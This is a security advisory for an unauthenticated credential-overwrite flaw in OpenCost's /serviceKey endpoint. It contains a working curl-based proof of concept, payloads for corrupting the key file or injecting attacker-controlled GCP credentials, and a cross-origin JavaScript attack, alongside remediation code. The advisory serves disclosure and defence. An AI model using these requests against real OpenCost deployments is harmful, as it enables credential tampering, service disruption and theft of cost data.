GHSA-wmj8-9953-vff5
OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection
Details
## Summary
OpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.
---
## Affected Versions
- **OpenCost**: All versions up to and including the latest release - **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379) - **Vulnerable Endpoint**: `POST /serviceKey`
---
## Vulnerability Details
### Root Cause
The `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:
```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS
r.ParseForm()
key := r.PostForm.Get("key") // User-controlled input, no validation k := []byte(key) err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write if err != nil { fmt.Fprintf(w, "Error writing service key: %s", err) }
w.WriteHeader(http.StatusOK) } ```
**File Path Determination** (`core/pkg/env/core.go`): ```go func GetGCPAuthSecretFilePath() string { return GetPathFromConfig("key.json") }
func GetPathFromConfig(fileName string) string { return filepath.Join(GetConfigPath(), fileName) }
func GetConfigPath() string { return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs } ```
### Security Issues
1. **No Authentication**: Any network-accessible client can invoke the endpoint 2. **No Input Validation**: User input is not validated as a valid GCP service account key 3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks 4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable
---
## Proof of Concept
### Environment Setup
#### Prerequisites - Kubernetes cluster (tested on kind v1.30.0) - Helm 3.x - kubectl configured
#### Step 1: Create Namespace
```bash kubectl create namespace opencost ```
**Output**: ``` namespace/opencost created ```
#### Step 2: Add OpenCost Helm Repository
```bash helm repo add opencost https://opencost.github.io/opencost-helm-chart helm repo update ```
**Output**: ``` "opencost" has been added to your repositories Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "opencost" chart repository Update Complete. Happy Helming! ```
#### Step 3: Deploy OpenCost
```bash helm install opencost opencost/opencost --namespace opencost \ --set opencost.exporter.defaultClusterId=test-cluster \ --set opencost.prometheus.internal.enabled=true \ --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \ --set opencost.prometheus.internal.namespaceName=monitoring \ --set opencost.prometheus.internal.port=9090 \ --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp' ```
**Key Configuration**: - `CONFIG_PATH=/tmp`: Sets writable directory for file operations
**Output**: ``` NAME: opencost LAST DEPLOYED: Sun Jan 18 00:39:21 2026 NAMESPACE: opencost STATUS: deployed REVISION: 1 ```
#### Step 4: Verify Deployment
```bash kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost ```
**Output**: ``` NAME READY STATUS RESTARTS AGE opencost-db97bbcc-5q8cb 2/2 Running 0 44s ```
#### Step 5: Verify Service Accessibility
```bash kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \ curl -v http://opencost.opencost.svc.cluster.local:9003/healthz ```
**Output**: ``` < HTTP/1.1 200 OK < Vary: Origin < Date: Sat, 17 Jan 2026 16:32:07 GMT < Content-Length: 0 ```
### Exploitation
#### Step 6: Check Initial State
```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ```
**Output**: ``` cat: can't open '/tmp/key.json': No such file or directory ```
Note: File does not exist initially
#### Step 7: Verify CONFIG_PATH Configuration
```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH ```
**Output**: ``` CONFIG_PATH=/tmp ```
Note: CONFIG_PATH correctly set to /tmp
#### Step 8: Execute Exploit
```bash MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'
kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \ curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "key=${MALICIOUS_CONTENT}" \ -v ```
**Request Details**: ``` > POST /serviceKey HTTP/1.1 > Host: opencost.opencost.svc.cluster.local:9003 > User-Agent: curl/8.18.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 244 ```
**Response Details**: ``` < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: application/json < Vary: Origin < Date: Sat, 17 Jan 2026 16:42:29 GMT < Content-Length: 0 ```
Result: HTTP 200 OK - Request successful without authentication
#### Step 9: Verify File Write
```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ```
**Output**: ```json {"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"} ```
Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file
---
## Impact Analysis
### Direct Impact
| Impact Type | Severity | Description | |------------|----------|-------------| | **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content | | **No Authentication Required** | High | Vulnerability can be exploited without any credentials | | **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites | | **Fixed File Path** | Low | Attacker cannot control write location, only content |
### Attack Scenario Analysis
#### Scenario 1: GCP Credential Overwrite Leading to Service Disruption
**Attack Steps**: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops
**Technical Details**: ```bash # Attack payload example curl -X POST http://opencost:9003/serviceKey \ -d 'key={"invalid":"json","corrupted":"credentials"}' ```
**Impact**: - **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data - **Operational Impact**: FinOps processes dependent on cost data are blocked - **Availability Degradation**: Manual intervention required to restore correct credentials
**CVSS Impact Score**: Availability impact is Low (A:L)
---
#### Scenario 2: Malicious Credential Injection for Data Hijacking
**Attack Steps**: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project
**Technical Details**: ```bash # Inject attacker credentials ATTACKER_KEY='{ "type": "service_account", "project_id": "attacker-billing-project", "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n", "client_email": "opencost-hijack@attacker-project.iam.gserviceaccount.com" }'
curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}" ```
**Impact**: - **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details - **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack - **Compliance Risk**: Cost data may contain protected business information
**Data Leakage Examples**: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction)
**CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High
---
#### Scenario 3: Cross-Origin Attack (CORS Exploitation)
**Attack Steps**: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey` 3. Due to CORS set to `*`, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack
**Prerequisites**: - User exposes OpenCost service via `kubectl port-forward` or other means - User's browser can access OpenCost endpoint
**Technical Details**: ```javascript // JavaScript on malicious website fetch('http://localhost:9003/serviceKey', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'key={"type":"malicious"}' }); ```
**Impact**: - **User-Unaware Attack**: No active user interaction required - **Difficult to Trace**: Attack originates from victim's IP address - **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network
---
### Vulnerability Limitations
**What Attacker Cannot Control**: - **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify - **File Name**: Fixed as `key.json`, cannot write to other files - **File Permissions**: Write permission is `0644`, attacker cannot escalate
**Actual Attack Capabilities**: - **File Content Control**: Complete control over `key.json` content - **Unauthenticated Exploitation**: No credentials required to trigger - **Remote Accessibility**: Can be exploited over network (if service exposed)
---
### Real-World Impact Assessment
| Deployment Scenario | Risk Level | Description | |---------------------|-----------|-------------| | **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access | | **Exposed via Ingress** | High | Any internet user can exploit | | **Exposed via NodePort** | High | Attackers with node network access can exploit | | **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks |
**Recommended Risk Rating**: - Default deployment (cluster-internal): **Medium** - Improperly exposed (public internet): **High**
---
## Remediation
### Immediate Actions (P0)
#### 1. Add Authentication
```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { // Add authentication check if !a.isAuthorized(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) return }
// ... existing logic } ```
#### 2. Implement Input Validation
```go func validateServiceKey(key string) error { var keyData map[string]interface{} if err := json.Unmarshal([]byte(key), &keyData); err != nil { return fmt.Errorf("invalid JSON format") }
requiredFields := []string{"type", "project_id", "private_key_id", "private_key"} for _, field := range requiredFields { if _, ok := keyData[field]; !ok { return fmt.Errorf("missing required field: %s", field) } }
if keyData["type"] != "service_account" { return fmt.Errorf("invalid key type") }
return nil } ```
#### 3. Restrict CORS
```go w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN")) ```
### Long-term Solutions (P1)
1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files 2. **Implement RBAC**: Role-based access control for sensitive operations 3. **Add Audit Logging**: Log all file write operations 4. **Apply Least Privilege**: Minimize ClusterRole permissions
---
## Workarounds
Until a patch is available, implement these mitigations:
1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies 2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required 3. **Monitor File Changes**: Alert on modifications to `key.json` file 4. **Use Read-only Filesystem**: Mount config directory as read-only where possible
---
## References
- **Vulnerable Code**: `pkg/costmodel/router.go:365-379` - **Environment Configuration**: `core/pkg/env/core.go` - **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
Are you affected?
Enter the version of the package you're using.
Affected packages
0 Fixed in: 1.119.1 go get github.com/opencost/opencost@v1.119.1